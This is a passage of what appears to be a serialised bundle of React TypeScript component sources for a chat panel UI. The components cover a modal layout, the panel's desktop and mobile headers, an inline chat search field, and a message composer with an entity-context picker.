long left column never drags the right one out of view.\n */\nconst ModalTwoColumn = React.forwardRef<HTMLDivElement, ModalTwoColumnProps>(\n  ({ left, right, className }, ref) => (\n    <div\n      ref={ref}\n      className={cn(\"flex-1 min-h-0 overflow-y-auto lg:overflow-hidden\", className)}\n    >\n      {/* `lg:grid-rows-[minmax(0,1fr)]` is what makes the columns scroll: an\n          implicit `auto` row sizes to the TALLER column, so the columns had no\n          bounded height to scroll inside and the outer `overflow-hidden`\n          silently clipped them instead. minmax(0,…) also beats the default\n          `min-height:auto` on the row, which would otherwise refuse to shrink\n          below content height. */}\n      <div className=\"grid grid-cols-1 gap-[var(--spacing-system-xl)] lg:h-full lg:min-h-0 lg:grid-cols-2 lg:grid-rows-[minmax(0,1fr)]\">\n        <div className=\"min-h-0 space-y-[var(--spacing-system-lf)] lg:overflow-y-auto lg:pr-[var(--spacing-system-sf)]\">\n          {left}\n        </div>\n        <div className=\"min-h-0 space-y-[var(--spacing-system-lf)] lg:overflow-y-auto lg:pr-[var(--spacing-system-sf)]\">\n          {right}\n        </div>\n      </div>\n    </div>\n  )\n)\nModalTwoColumn.displayName = \"ModalV2TwoColumn\"\n\nconst ModalHeader = React.forwardRef<HTMLDivElement, ModalHeaderProps>(\n  ({ children, className }, ref) => {\n    const { onClose } = React.useContext(ModalContext)\n    return (\n      <div\n        ref={ref}\n        className={cn(\"flex items-center gap-[var(--spacing-system-sf)]\", className)}\n      >\n        <div className=\"flex flex-col flex-1 min-w-0\">\n          {children}\n        </div>\n        {onClose && (\n          <button\n            onClick={onClose}\n            className=\"hidden md:flex shrink-0 text-ods-text-secondary hover:text-ods-text-primary transition-colors\"\n            aria-label=\"Close\"\n          >\n            <XmarkIcon className=\"size-6\" />\n          </button>\n        )}\n      </div>\n    )\n  }\n)\nModalHeader.displayName = \"ModalV2Header\"\n\nconst ModalTitle = React.forwardRef<HTMLHeadingElement, ModalTitleProps>(\n  ({ children, className }, ref) => (\n    <h2 \n      ref={ref}\n      className={cn(\"text-ods-text-primary text-h2\", className)}\n    >\n      {children}\n    </h2>\n  )\n)\nModalTitle.displayName = \"ModalV2Title\"\n\nconst ModalFooter = React.forwardRef<HTMLDivElement, ModalFooterProps>(\n  ({ children, className }, ref) => (\n    <div\n      ref={ref}\n      className={cn(\"flex gap-4\", className)}\n    >\n      {children}\n    </div>\n  )\n)\nModalFooter.displayName = \"ModalV2Footer\"\n\nexport {\n  Modal as ModalV2,\n  ModalContent as ModalV2Content,\n  ModalFooter as ModalV2Footer,\n  ModalHeader as ModalV2Header,\n  ModalTitle as ModalV2Title,\n  ModalTwoColumn as ModalV2TwoColumn\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\n\nexport interface ChatHeaderIconButtonProps\n  extends React.ButtonHTMLAttributes<HTMLButtonElement> {\n  /** Which side carries the 1px cell divider. Trailing cells (close, ⋯,\n   *  archive) use the default `'left'`; a leading cell (the back chevron) uses\n   *  `'right'`; `'none'` drops it. */\n  divider?: 'left' | 'right' | 'none'\n}\n\n/**\n * Square 56×56 icon cell used in the chat panel's top-navigation\n * (archive / restore / close, the `⋯` menu trigger, and the leading back\n * chevron). A border on one side acts as the 1px divider between cells.\n *\n * On hover only the background changes (`ods-bg-hover`) — the icon keeps its\n * `ods-text-secondary` colour. `forwardRef` + prop spread so it works as a\n * Radix `asChild` trigger.\n */\nexport const ChatHeaderIconButton = React.forwardRef<\n  HTMLButtonElement,\n  ChatHeaderIconButtonProps\n>(({ className, children, type = 'button', divider = 'left', ...props }, ref) => (\n  <button\n    ref={ref}\n    type={type}\n    className={cn(\n      'flex size-14 shrink-0 items-center justify-center border-ods-border',\n      divider === 'left' && 'border-l',\n      divider === 'right' && 'border-r',\n      'text-ods-text-secondary transition-colors hover:bg-ods-bg-hover',\n      'focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent',\n      className,\n    )}\n    {...props}\n  >\n    {children}\n  </button>\n))\nChatHeaderIconButton.displayName = 'ChatHeaderIconButton'\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { useDebounce } from '../../hooks/ui/use-debounce'\nimport { SearchIcon } from '../icons-v2-generated'\n\nexport interface ChatHeaderSearchFieldProps {\n  /** Seeds the field on mount (the current server-side search term). */\n  initialValue?: string\n  /** Emits the DEBOUNCED term. The host owns the query and refetches the\n   *  dialog list server-side — the field never filters locally. */\n  onSearchChange: (query: string) => void\n  /** Collapse the field back to the title. Fired on Escape and on blur while\n   *  the field is empty (an accidental open closes itself). */\n  onCollapse?: () => void\n  /** Focus the input on mount (default true — the field only mounts when the\n   *  user opens search, so we drop them straight into typing). */\n  autoFocus?: boolean\n  /** Appended to the root element (e.g. to tweak the open animation). */\n  className?: string\n}\n\n/**\n * Inline chat-header search field (Figma node 116:51217). When search is\n * toggled on, the panel header's title area is REPLACED in place by this\n * full-height field — a leading magnifier + a bare, borderless input — instead\n * of dropping a separate search bar into the list body. Holds its own text for\n * snappy typing and emits the debounced term via `onSearchChange`.\n */\nexport function ChatHeaderSearchField({\n  initialValue,\n  onSearchChange,\n  onCollapse,\n  autoFocus = true,\n  className,\n}: ChatHeaderSearchFieldProps) {\n  const [value, setValue] = React.useState(initialValue ?? '')\n  const debounced = useDebounce(value, 300)\n  const lastEmitted = React.useRef(initialValue ?? '')\n\n  // Exit animation: collapsing plays `animate-out` (slide/fade back toward the\n  // right) BEFORE the parent unmounts us. We stay mounted through the leave —\n  // the parent only drops the field once we call `onCollapse`, which we defer\n  // to the animation's end.\n  const [exiting, setExiting] = React.useState(false)\n  const collapsedRef = React.useRef(false)\n\n  React.useEffect(() => {\n    // Once the collapse starts, no further emits: Escape already flushed the\n    // cleared term synchronously, and a still-pending debounce of the typed\n    // text (\"abc\" → Escape before 300ms) must not resurrect a stale query\n    // while the field animates out.\n    if (exiting) return\n    if (debounced === lastEmitted.current) return\n    lastEmitted.current = debounced\n    onSearchChange(debounced)\n  }, [debounced, exiting, onSearchChange])\n\n  const finishCollapse = React.useCallback(() => {\n    if (collapsedRef.current) return\n    collapsedRef.current = true\n    onCollapse?.()\n  }, [onCollapse])\n\n  const beginCollapse = React.useCallback(() => {\n    setExiting(true)\n  }, [])\n\n  // Fallback for when `animationend` never fires (reduced motion, or the\n  // animation utilities are disabled) — otherwise the field would hang open.\n  React.useEffect(() => {\n    if (!exiting) return\n    const t = setTimeout(finishCollapse, 240)\n    return () => clearTimeout(t)\n  }, [exiting, finishCollapse])\n\n  return (\n    <div\n      onAnimationEnd={(e) => {\n        // Only the root's OWN leave animation collapses — ignore the child\n        // icon's animations bubbling up, and the enter animation.\n        if (e.target === e.currentTarget && exiting) finishCollapse()\n      }}\n      className={cn(\n        'flex min-w-0 flex-1 items-center gap-[var(--spacing-system-xs)] px-[var(--spacing-system-sf)]',\n        exiting\n          ? // Elegant leave: sweep back out to the right + fade, holding the end\n            // frame (`fill-mode-forwards`) so it stays hidden until unmount.\n            'animate-out fade-out-0 slide-out-to-right-4 duration-200 ease-in fill-mode-forwards pointer-events-none'\n          : // Elegant open: sweep in from the right (where the magnifier toggle\n            // sat) and fade up as it takes over the title area.\n            'animate-in fade-in-0 slide-in-from-right-4 duration-200 ease-out',\n        className,\n      )}\n    >\n      {/* The magnifier eases in a touch later + scales up, so the icon reads as\n          \"growing\" into the field rather than hard-cutting in. */}\n      <SearchIcon\n        size={24}\n        className=\"shrink-0 text-ods-text-secondary animate-in fade-in-0 zoom-in-75 duration-300 ease-out\"\n      />\n      {/* biome-ignore lint/a11y/noAutofocus: the field only mounts on an\n          explicit search toggle, so focusing it is the intended behaviour. */}\n      <input\n        autoFocus={autoFocus}\n        type=\"text\"\n        value={value}\n        disabled={exiting}\n        onChange={(e) => setValue(e.target.value)}\n        onKeyDown={(e) => {\n          if (e.key === 'Escape') {\n            e.preventDefault()\n            setValue('')\n            // Emit the cleared term immediately AND record it as the last emit,\n            // so the 300ms debounce effect doesn't fire a second, redundant\n            // `onSearchChange('')` (extra server round-trip) before we unmount.\n            lastEmitted.current = ''\n            onSearchChange('')\n            beginCollapse()\n          }\n        }}\n        onBlur={() => {\n          // An accidental open (no query typed) collapses itself; a field with\n          // an active query stays open so the filtered state stays visible.\n          if (!value.trim()) {\n            // Flush the cleared term synchronously (mirrors Escape) — the\n            // debounce effect is muted once `exiting` flips, so a just-deleted\n            // query (\"abc\" → \"\" → immediate blur) must emit its reset here or\n            // the host would keep filtering by the stale term.\n            if (lastEmitted.current !== '') {\n              lastEmitted.current = ''\n              onSearchChange('')\n            }\n            beginCollapse()\n          }\n        }}\n        placeholder=\"Search for Chats\"\n        aria-label=\"Search chats\"\n        className=\"min-w-0 flex-1 bg-transparent text-h4 text-ods-text-primary placeholder:text-ods-text-secondary focus:outline-none\"\n      />\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport {\n  Chevron02LeftIcon,\n  Ellipsis01Icon,\n  ClockHistoryIcon,\n  Refresh01LeftIcon,\n  SearchIcon,\n} from '../icons-v2-generated'\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon'\nimport { ChatHeaderIconButton } from './chat-header-icon-button'\nimport { ChatHeaderSearchField } from './chat-header-search-field'\nimport { ActionsMenuDropdown, type ActionsMenuItem } from '../ui/actions-menu'\nimport { ChatPanelHeaderMobile } from './chat-panel-header-mobile'\nimport { SquareAvatar } from '../ui/square-avatar'\n\nexport interface ChatPanelHeaderProps {\n  /** Show the back-chevron + bold (h3) title. When false, the static list\n   *  title (h4) is shown with no back affordance. */\n  showBack?: boolean\n  /** Title text (next to the back chevron, or the static list title). */\n  title: string\n  /** Optional sub-line under the title (e.g. the signed-in user's name).\n   *  Rendered muted (`h6`) beneath the title in every view that has one. */\n  subtitle?: React.ReactNode\n  /** Person identity shown as a 32px round avatar at the right edge of the\n   *  title cell (Figma 113:63273): the dialog OWNER in a conversation, the\n   *  signed-in user on the New Chat compose view. Initials fall back from\n   *  `name` when `avatarUrl` is absent/failing. Omit to hide. */\n  avatar?: { name?: string | null; avatarUrl?: string | null }\n  /** Accessible label for the back chevron. */\n  backAriaLabel?: string\n  /** The open conversation is an archived chat (read-only). */\n  isArchivedView?: boolean\n  /** Back-chevron handler. Required only when `showBack` — the list view has no\n   *  back affordance. */\n  onBack?: () => void\n  /** Close the panel. */\n  onClose: () => void\n  /** Restore/unarchive — renders the refresh button (archived view only). */\n  onRestore?: () => void\n  /** Rename — adds the \"Rename chat\" item to the ⋯ menu. */\n  onRename?: () => void\n  /** Archive — adds the \"Archive chat\" item to the ⋯ menu. */\n  onArchive?: () => void\n  /** Copy a shareable link to the open conversation — adds the \"Copy chat link\"\n   *  item to the ⋯ menu. The host owns the URL and the copy. */\n  onCopyLink?: () => void\n  /** Open the Chat Archive page — renders the clock button (list view only). */\n  onOpenArchive?: () => void\n  /** Force the COMPACT (`h-14` desktop-style) bar at every width, skipping the\n   *  full-screen mobile header. For EMBEDDED surfaces (e.g. a small preview\n   *  panel) where the phone-sized full-bleed header (large `text-h2` title) is\n   *  wrong regardless of viewport. Default false = viewport-responsive. */\n  compact?: boolean\n  /** Toggle the dialog-list search field — renders a magnifier button (list\n   *  view only), before the archive clock. */\n  onToggleSearch?: () => void\n  /** Whether the search field is currently open. When true (and `onSearchChange`\n   *  is wired) the title area is REPLACED in place by the inline search field\n   *  and the magnifier toggle is hidden. */\n  searchActive?: boolean\n  /** Seeds the inline search field when it opens (current search term). */\n  searchQuery?: string\n  /** Emits the debounced search term from the inline field. Enables the\n   *  in-header search experience (list view only). */\n  onSearchChange?: (query: string) => void\n}\n\n/**\n * Chat panel top-navigation (Figma node 7363:205930). One bar across the\n * list / active-conversation / archived-conversation / guide views: a\n * back-chevron + title (or the static list title), then state-dependent\n * right-hand actions (restore, ⋯ rename/archive, archive entry) and close.\n */\nexport function ChatPanelHeader({\n  showBack = false,\n  title,\n  subtitle,\n  avatar,\n  backAriaLabel = 'Back',\n  isArchivedView = false,\n  onBack,\n  onClose,\n  onRestore,\n  onRename,\n  onArchive,\n  onCopyLink,\n  onOpenArchive,\n  compact = false,\n  onToggleSearch,\n  searchActive = false,\n  searchQuery,\n  onSearchChange,\n}: ChatPanelHeaderProps) {\n  // Search open (with a wired handler) swaps the title for the inline field.\n  const searchInline = searchActive && !!onSearchChange\n  // Desktop ⋯ menu (active, non-archived conversation only) — rename / archive.\n  const menuItems = [\n    onCopyLink && { id: 'copy-link', label: 'Copy chat link', onClick: onCopyLink },\n    onRename && { id: 'rename', label: 'Rename chat', onClick: onRename },\n    onArchive && { id: 'archive', label: 'Archive chat', onClick: onArchive },\n  ].filter(Boolean) as ActionsMenuItem[]\n\n  return (\n    <>\n      {/* Mobile (<md): a distinct full-screen layout (Figma node 7363:85532).\n          Skipped in `compact` mode — an embedded preview keeps the small bar\n          at every width. */}\n      {!compact && (\n        <ChatPanelHeaderMobile\n          className=\"flex md:hidden\"\n          showBack={showBack}\n          title={title}\n          subtitle={subtitle}\n          backAriaLabel={backAriaLabel}\n          isArchivedView={isArchivedView}\n          onBack={onBack}\n          onClose={onClose}\n          onRestore={onRestore}\n          onRename={onRename}\n          onArchive={onArchive}\n          onCopyLink={onCopyLink}\n          onOpenArchive={onOpenArchive}\n        />\n      )}\n\n      {/* Compact bar: `md+` normally, or ALL widths when `compact`. Fixed-height\n          bar with full-height divider action cells. */}\n      <div\n        className={cn(\n          'flex-shrink-0 h-14 w-full overflow-hidden border-b border-ods-border bg-ods-card',\n          compact ? 'flex' : 'hidden md:flex',\n        )}\n      >\n        {/* Back — a full-height leading cell (right divider), the same\n            `ChatHeaderIconButton` primitive as the trailing ⋯ / close cells. */}\n        {showBack && (\n          <ChatHeaderIconButton\n            divider=\"right\"\n            onClick={onBack}\n            aria-label={backAriaLabel}\n          >\n            <Chevron02LeftIcon size={24} />\n          </ChatHeaderIconButton>\n        )}\n        {searchInline ? (\n          // Search open — the inline field takes over the title area in place\n          // (Figma 116:51217); the magnifier toggle below is hidden.\n          <ChatHeaderSearchField\n            initialValue={searchQuery}\n            onSearchChange={onSearchChange}\n            onCollapse={onToggleSearch}\n          />\n        ) : (\n          <div className=\"flex flex-1 min-w-0 items-center gap-[var(--spacing-system-m)] px-[var(--spacing-system-mf)] py-[var(--spacing-system-sf)]\">\n            <div className=\"flex min-w-0 flex-col\">\n              <p className=\"truncate text-h3 leading-tight text-ods-text-primary\">{title}</p>\n              {subtitle && (\n                <p className=\"truncate text-h6 leading-tight text-ods-text-secondary\">{subtitle}</p>\n              )}\n            </div>\n            {avatar && (avatar.name || avatar.avatarUrl) ? (\n              // Owner avatar at the title cell's right edge (Figma 113:63273).\n              <SquareAvatar\n                variant=\"round\"\n                sizePx={32}\n                className=\"ml-auto\"\n                src={avatar.avatarUrl || undefined}\n                alt={avatar.name || undefined}\n                fallback={avatar.name || undefined}\n                initialsClassName=\"text-[11px] text-ods-text-secondary\"\n                title={avatar.name || undefined}\n              />\n            ) : null}\n          </div>\n        )}\n\n        {/* Restore (refresh) — archived chat header (Figma node 7361:425441). */}\n        {isArchivedView && onRestore && (\n          <ChatHeaderIconButton onClick={onRestore} aria-label=\"Unarchive chat\">\n            <Refresh01LeftIcon size={24} />\n          </ChatHeaderIconButton>\n        )}\n\n        {/* Rename / Archive menu — active (non-archived) conversation only. */}\n        {showBack && !isArchivedView && menuItems.length > 0 && (\n          <ActionsMenuDropdown\n            triggerAriaLabel=\"Chat actions\"\n            onCloseAutoFocus={(e) => e.preventDefault()}\n            groups={[{ items: menuItems }]}\n            customTrigger={\n              <ChatHeaderIconButton aria-label=\"Chat actions\">\n                <Ellipsis01Icon size={24} />\n              </ChatHeaderIconButton>\n            }\n          />\n        )}\n\n        {/* Dialog search toggle — list view only, before the archive entry.\n            Hidden while search is open (the inline field owns the magnifier). */}\n        {!showBack && !searchInline && onToggleSearch && (\n          <ChatHeaderIconButton\n            onClick={onToggleSearch}\n            aria-label=\"Search chats\"\n            aria-pressed={searchActive}\n          >\n            <SearchIcon size={24} />\n          </ChatHeaderIconButton>\n        )}\n\n        {/* Chat Archive entry (Figma node 7532:225034) — list view only. */}\n        {!showBack && onOpenArchive && (\n          <ChatHeaderIconButton onClick={onOpenArchive} aria-label=\"Chat archive\">\n            <ClockHistoryIcon size={24} />\n          </ChatHeaderIconButton>\n        )}\n\n        <ChatHeaderIconButton onClick={onClose} aria-label=\"Close\">\n          <XmarkIcon size={24} />\n        </ChatHeaderIconButton>\n      </div>\n    </>\n  )\n}\n","'use client'\n\nimport { Chevron02LeftIcon, ClockHistoryIcon, XmarkIcon } from '../icons-v2-generated'\nimport { Button } from '../ui/button'\nimport { ActionsMenuDropdown, type ActionsMenuItem } from '../ui/actions-menu'\nimport { cn } from '../../utils/cn'\nimport type { ChatPanelHeaderProps } from './chat-panel-header'\n\nexport interface ChatPanelHeaderMobileProps extends ChatPanelHeaderProps {\n  className?: string\n}\n\n/**\n * Mobile chat panel header — Figma node `7363:85532`. A distinct layout from\n * the desktop bar (which packs full-height divider cells into a fixed `h-14`):\n *\n *   - Surface: `ods-card` with a bottom border; generous `l` side padding,\n *     `l` bottom padding, and `xl` top padding on the title block (so the row\n *     bottom-aligns under a tall header).\n *   - Title: `text-h2` (vs the desktop `h3`/`h4`), truncated.\n *   - Actions: 44px outlined icon buttons (`Button variant=\"outline\"\n *     size=\"icon\"`) — a back chevron (when applicable), a trailing `⋯` menu\n *     carrying the view-dependent actions (hidden when no action applies),\n *     and an X Close. The X is REQUIRED here: on mobile the drawer is\n *     full-screen (`w-screen`), so there is no visible backdrop to tap —\n *     without it the panel cannot be dismissed at all.\n *\n * Same prop contract as `ChatPanelHeader`; the orchestrator renders this on\n * mobile and the desktop bar on `md+`.\n */\nexport function ChatPanelHeaderMobile({\n  showBack = false,\n  title,\n  backAriaLabel = 'Back',\n  isArchivedView = false,\n  onBack,\n  onClose,\n  onRestore,\n  onRename,\n  onArchive,\n  onCopyLink,\n  onOpenArchive,\n  className,\n}: ChatPanelHeaderMobileProps) {\n  // The right-hand ⋯ menu carries the view-dependent actions. Close is not\n  // listed (the panel is dismissed elsewhere); the trigger is hidden entirely\n  // when no action applies (e.g. the archive list view).\n  const menuItems = [\n    !showBack && onOpenArchive && { id: 'open-archive', label: 'Chat archive', icon: <ClockHistoryIcon className=\"w-full h-full\" />, onClick: onOpenArchive },\n    isArchivedView && onRestore && { id: 'unarchive', label: 'Unarchive chat', onClick: onRestore },\n    !isArchivedView && onCopyLink && { id: 'copy-link', label: 'Copy chat link', onClick: onCopyLink },\n    !isArchivedView && onRename && { id: 'rename', label: 'Rename chat', onClick: onRename },\n    !isArchivedView && onArchive && { id: 'archive', label: 'Archive chat', onClick: onArchive },\n  ].filter(Boolean) as ActionsMenuItem[]\n\n  return (\n    <div\n      className={cn(\n        'flex-shrink-0 flex flex-col border-b border-ods-border bg-ods-card',\n        'px-[var(--spacing-system-l)] pb-[var(--spacing-system-l)]',\n        className,\n      )}\n    >\n      <div className=\"flex w-full items-end gap-[var(--spacing-system-sf)]\">\n        {showBack && (\n          <Button\n            variant=\"outline\"\n            size=\"icon\"\n            aria-label={backAriaLabel}\n            onClick={onBack}\n            className=\"shrink-0\"\n          >\n            <Chevron02LeftIcon />\n          </Button>\n        )}\n\n        {/* Title block — `xl` top padding pushes the title down so the row\n            bottom-aligns the title, back chevron, and ⋯ menu. */}\n        <div className=\"flex flex-1 min-w-0 items-end gap-[var(--spacing-system-m)] pt-[var(--spacing-system-xl)]\">\n          <div className=\"flex flex-1 min-w-0 flex-col gap-[var(--spacing-system-xs)]\">\n            <p className=\"min-w-0 truncate text-h2 text-ods-text-primary\" title={title}>\n              {title}\n            </p>\n          </div>\n\n          {menuItems.length > 0 && (\n            <ActionsMenuDropdown\n              groups={[{ items: menuItems }]}\n              triggerAriaLabel=\"Chat actions\"\n              triggerClassName=\"shrink-0 bg-ods-card border-ods-border hover:bg-ods-bg-hover flex items-center justify-center focus-visible:ring-0\"\n            />\n          )}\n\n          {onClose && (\n            <Button\n              variant=\"outline\"\n              size=\"icon\"\n              aria-label=\"Close chat\"\n              onClick={onClose}\n              className=\"shrink-0\"\n            >\n              <XmarkIcon />\n            </Button>\n          )}\n        </div>\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { ChatFooter } from './chat-container'\nimport { ChatInput } from './chat-input'\nimport { ChatAttachmentAddButton } from './chat-attachment-bar'\nimport { ChatContextMemoryBar } from './chat-context-memory-bar'\nimport {\n  ChatComposerPlusMenu,\n  ChatContextChipStrip,\n  ChatContextPicker,\n} from './chat-context-picker'\nimport { ModelDisplay } from './model-display'\nimport { BoxArchiveIcon } from '../icons-v2-generated'\nimport { cn } from '../../utils/cn'\nimport type { ChatInputRef, ModelDisplayProps } from './types/component.types'\nimport type {\n  ChatContextItem,\n  ChatContextPickerConfig,\n} from './types/context-item.types'\n\nexport interface ChatComposerProps {\n  /** Read-only archived chat → render the unarchive placeholder instead of the\n   *  input (Figma node 7361:426949). */\n  archived?: boolean\n  inputRef: React.Ref<ChatInputRef>\n  onSend: (text: string) => void\n  onStop: () => void\n  sending: boolean\n  placeholder: string\n  autoFocus?: boolean\n  slashCommands?: React.ComponentProps<typeof ChatInput>['slashCommands']\n  /** Show the (Guide-only) attachment add button to the left of the model row. */\n  showAttachmentButton?: boolean\n  attachmentsCount?: number\n  onAddFiles?: (files: FileList | File[]) => void\n  attachmentsDisabled?: boolean\n  /** Model + usage row props, forwarded to `<ModelDisplay>`. */\n  model: ModelDisplayProps\n\n  // ─── Entity-context picker (Figma 31:28708 / 1:5699) ──────────────────────\n  // When `contextPicker` is set the composer renders the `+` \"Assign Item\"\n  // menu, the `@`-mention trigger, the two-level picker, and the selected-item\n  // chip strip. All selection STATE is owned by the parent (EmbeddableChat) and\n  // flows through these props; this component is presentational.\n  /** Host config (entity types + search resolver). Picker is inert when unset. */\n  contextPicker?: ChatContextPickerConfig\n  /** Currently-selected context items (chips + ✓ state). */\n  selectedContextItems?: ChatContextItem[]\n  /** Toggle an item in/out of the selection (picker rows). */\n  onToggleContextItem?: (item: ChatContextItem) => void\n  /** Remove an item (chip ×). */\n  onRemoveContextItem?: (item: ChatContextItem) => void\n  /** Ambient CONTEXT MEMORY (Figma 271:38656) — the entities the host collected\n   *  from the user's navigation history and sends with every message. Rendered\n   *  as a summary strip at the top of the composer card, above the assigned-item\n   *  chips. Empty/omitted → no strip. */\n  contextMemoryItems?: ChatContextItem[]\n  /** Drop one entity from the context memory (dropdown row ×). */\n  onRemoveContextMemoryItem?: (item: ChatContextItem) => void\n  /** Controlled picker open state. */\n  contextPickerOpen?: boolean\n  /** Open the picker (the `+` menu's \"Assign Item\"). */\n  onOpenContextPicker?: () => void\n  /** Close the picker (Escape / outside-click / pick-complete). */\n  onCloseContextPicker?: () => void\n  /** Active `@`-mention query (filters the type list); null when inactive. */\n  mentionQuery?: string | null\n  /** `@`-trigger callback forwarded to the input. */\n  onMentionQueryChange?: (query: string | null) => void\n  /** Fires on every draft value change — threaded to `ChatInput.onValueChange`\n   *  so the host can keep `@type:id` mention tokens in sync with context chips. */\n  onValueChange?: (value: string) => void\n  /** Non-destructive ghost preview shown in the empty composer (e.g. a hovered\n   *  quick-action's full prompt). Forwarded to `ChatInput.previewText`. */\n  previewText?: string\n}\n\n/**\n * Chat panel footer (Figma node 7363:205952): the message composer (live\n * `ChatInput` or the read-only archived placeholder) above the model/usage\n * row. No own background — inherits the panel surface so it blends seamlessly.\n *\n * With `contextPicker` set, the selected-context chip strip sits above the\n * input, the two-level picker popover anchors above the input, and the bottom\n * controls row swaps the bare attachment `+` for the `+` plus-menu.\n */\nexport function ChatComposer({\n  archived = false,\n  inputRef,\n  onSend,\n  onStop,\n  sending,\n  placeholder,\n  autoFocus,\n  slashCommands,\n  showAttachmentButton = false,\n  attachmentsCount = 0,\n  onAddFiles,\n  attachmentsDisabled = false,\n  model,\n  contextPicker,\n  selectedContextItems,\n  onToggleContextItem,\n  onRemoveContextItem,\n  contextMemoryItems,\n  onRemoveContextMemoryItem,\n  contextPickerOpen = false,\n  onOpenContextPicker,\n  onCloseContextPicker,\n  mentionQuery = null,\n  onMentionQueryChange,\n  onValueChange,\n  previewText,\n}: ChatComposerProps) {\n  const contextEnabled = !!contextPicker && !archived\n  const selected = selectedContextItems ?? []\n  const memory = contextMemoryItems ?? []\n\n  // type → icon lookup so the chips (composer + bubble) lead with their\n  // entity-type glyph without the parent threading an extra resolver. Keyed on\n  // `entityTypes` (not the whole `contextPicker`) so an inline host config\n  // doesn't rebuild the map — and the derived `resolveContextIcon` — every render.\n  const entityTypes = contextPicker?.entityTypes\n  const iconByType = React.useMemo(() => {\n    const map = new Map<string, React.ReactNode>()\n    for (const t of entityTypes ?? []) map.set(t.type, t.icon)\n    return map\n  }, [entityTypes])\n  const resolveContextIcon = React.useCallback(\n    (item: ChatContextItem) => iconByType.get(item.type),\n    [iconByType],\n  )\n\n  // The input is identical in both layouts; only `hideBorder` (context mode\n  // lets the outer card own the chrome) and the `+` adornment differ.\n  const inputNode = (\n    <ChatInput\n      ref={inputRef}\n      onSend={onSend}\n      onStop={onStop}\n      sending={sending}\n      placeholder={placeholder}\n      previewText={previewText}\n      fullWidth\n      className=\"px-0\"\n      reserveAvatarOffset={false}\n      autoFocus={autoFocus}\n      slashCommands={slashCommands}\n      onMentionQueryChange={contextEnabled ? onMentionQueryChange : undefined}\n      onValueChange={contextEnabled ? onValueChange : undefined}\n      hideBorder={contextEnabled}\n      // `+` lives INSIDE the input (start adornment, Figma 31:28275) and opens\n      // the single context dropdown directly. The picker is passed as the\n      // button's `dropdown` so it anchors to the `+`, not the input row.\n      startIcon={\n        contextEnabled ? (\n          <ChatComposerPlusMenu\n            onToggle={() => (contextPickerOpen ? onCloseContextPicker?.() : onOpenContextPicker?.())}\n            open={contextPickerOpen}\n            disabled={attachmentsDisabled}\n            dropdown={\n              contextPicker ? (\n                <ChatContextPicker\n                  open={contextPickerOpen}\n                  config={contextPicker}\n                  selectedItems={selected}\n                  onToggleItem={(item) => onToggleContextItem?.(item)}\n                  onClose={() => onCloseContextPicker?.()}\n                  mentionQuery={mentionQuery}\n                />\n              ) : undefined\n            }\n          />\n        ) : undefined\n      }\n    />\n  )\n\n  return (\n    <div\n      className=\"flex-shrink-0 px-[var(--spacing-system-m)] pb-[var(--spacing-system-xxs)] flex flex-col gap-[var(--spacing-system-xxs)]\"\n      // Tight `xxs` bottom padding (the model/usage row already sits just below\n      // the input); `max(…, safe-area-inset)` still clears the iOS home bar.\n      style={{\n        paddingBottom: 'max(var(--spacing-system-xxs), env(safe-area-inset-bottom))',\n      }}\n    >\n      <div>\n        <ChatFooter className=\"!p-0\" fullWidth>\n          {archived ? (\n            <div className=\"flex w-full items-center justify-center gap-[var(--spacing-system-xs)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-sf)]\">\n              <BoxArchiveIcon size={24} className=\"shrink-0 text-ods-text-secondary\" />\n              <p className=\"truncate text-h4 text-ods-text-secondary\">\n                Unarchive the chat to continue\n              </p>\n            </div>\n          ) : contextEnabled ? (\n            // Unified card (Figma 1:6073 / 271:38656): the context-memory\n            // summary strip and the assigned-chip strip (both `bg-ods-bg`,\n            // `border-b`) stack flush above the input; the card owns the border\n            // / radius / focus ring. No `overflow-hidden` so the picker and the\n            // memory popover can float above the input (whichever strip comes\n            // first gets `rounded-t`).\n            // `has-[[data-editor]:focus]` (not `focus-within`) so the accent\n            // border reacts ONLY to the composer editor — not the picker's search\n            // input or item buttons, which also live inside this card. The editor\n            // is a `contentEditable` div (`data-editor`), not a `<textarea>`, so we\n            // target its data attribute rather than the element name.\n            <div className=\"rounded-md border border-ods-border bg-ods-card transition-colors has-[[data-editor]:focus]:border-ods-accent\">\n              {/* Ambient navigation-history context — always the same items, so\n                  it sits furthest from the textarea. Self-hides when empty. */}\n              <ChatContextMemoryBar\n                items={memory}\n                onRemove={onRemoveContextMemoryItem}\n                resolveIcon={resolveContextIcon}\n                disabled={sending}\n                className=\"rounded-t-md\"\n              />\n              {selected.length > 0 && (\n                <ChatContextChipStrip\n                  items={selected}\n                  onRemove={onRemoveContextItem}\n                  resolveIcon={resolveContextIcon}\n                  disabled={sending}\n                  className={cn(\n                    'border-b border-ods-border bg-ods-bg p-2',\n                    // Only the TOP strip rounds into the card corner.\n                    memory.length === 0 && 'rounded-t-md',\n                  )}\n                />\n              )}\n              {/* Picker is rendered inside the `+` button (its `dropdown` prop)\n                  so it anchors to the button, not this card. */}\n              {inputNode}\n            </div>\n          ) : (\n            inputNode\n          )}\n        </ChatFooter>\n      </div>\n\n      <div className=\"flex items-center gap-2 w-full\">\n        {/* Legacy (Guide-mode, no context picker) inline attachment `+`. With the\n            context picker on, uploads live in the in-input `+` menu instead. */}\n        {!contextEnabled && showAttachmentButton && onAddFiles && (\n          <ChatAttachmentAddButton\n            attachmentsEnabled\n            attachmentsCount={attachmentsCount}\n            onAddFiles={onAddFiles}\n            disabled={attachmentsDisabled}\n          />\n        )}\n        <div className=\"flex-1 min-w-0\">\n          <ModelDisplay {...model} />\n        </div>\n      </div>\n    </div>\n  )\n}\n","'use client'\n// compact-size support added for the ticket-drawer reply composer.\n\nimport { formatFileSize } from '../../utils/format'\n\n/**\n * Chat-attachment UI primitives.\n *\n * Split into two NAMED EXPORTS following 2026 chat-compose conventions\n * (Claude.ai / ChatGPT / Cursor / Linear AI / etc.):\n *\n *   1. `<ChatAttachmentChipStrip>` — the thumbnail strip with per-file\n *      progress / × remove. Renders ABOVE the textarea (only when\n *      chips exist). Visible to the user as a small horizontal row of\n *      file pills that disappears when they Send.\n *\n 